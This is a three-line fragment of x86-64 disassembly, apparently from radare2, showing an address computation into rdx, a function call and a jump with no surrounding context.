lea rdx, [rax + 1]
call fcn.1400bf650
jmp 0x14000ea88